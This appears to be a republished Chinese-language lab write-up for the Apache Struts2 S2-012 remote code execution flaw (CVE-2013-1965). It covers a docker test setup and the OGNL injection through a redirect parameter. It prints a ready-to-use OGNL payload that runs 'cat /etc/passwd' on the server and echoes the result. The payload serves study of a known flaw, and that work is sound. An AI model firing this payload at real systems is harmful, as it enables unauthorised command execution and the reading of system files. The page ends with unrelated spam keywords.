<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    S2-012 遠程代碼執行漏洞 (CVE-2013-1965)

    Path struts2/s2-012

    影響版本: 2.1.0 - 2.3.13

    漏洞詳情: http://struts.apache.org/docs/s2-012.html

    測試環境搭建

    docker-compose build
    docker-compose up -d
    

    原理

    如果在配置 Action 中 Result 時使用了重定向類型,并且還使用 ${param_name} 作為重定向變量,例如:

    <package name="S2-012" extends="struts-default">
        <action name="user" class="com.demo.action.UserAction">
            <result name="redirect" type="redirect">/index.jsp?name=${name}</result>
            <result name="input">/index.jsp</result>
            <result name="success">/index.jsp</result>
        </action>
    </package>

    這里 UserAction 中定義有一個 name 變量,當觸發 redirect 類型返回時,Struts2 獲取使用 ${name} 獲取其值,在這個過程中會對 name 參數的值執行 OGNL 表達式解析,從而可以插入任意 OGNL 表達式導致命令執行。

    Exp

    可以直接祭出s2-001中的回顯POC,因為這里是沒有沙盒,也沒有限制任何特殊字符(為什么?)。

    %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
    

    發送請求,執行命令:

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类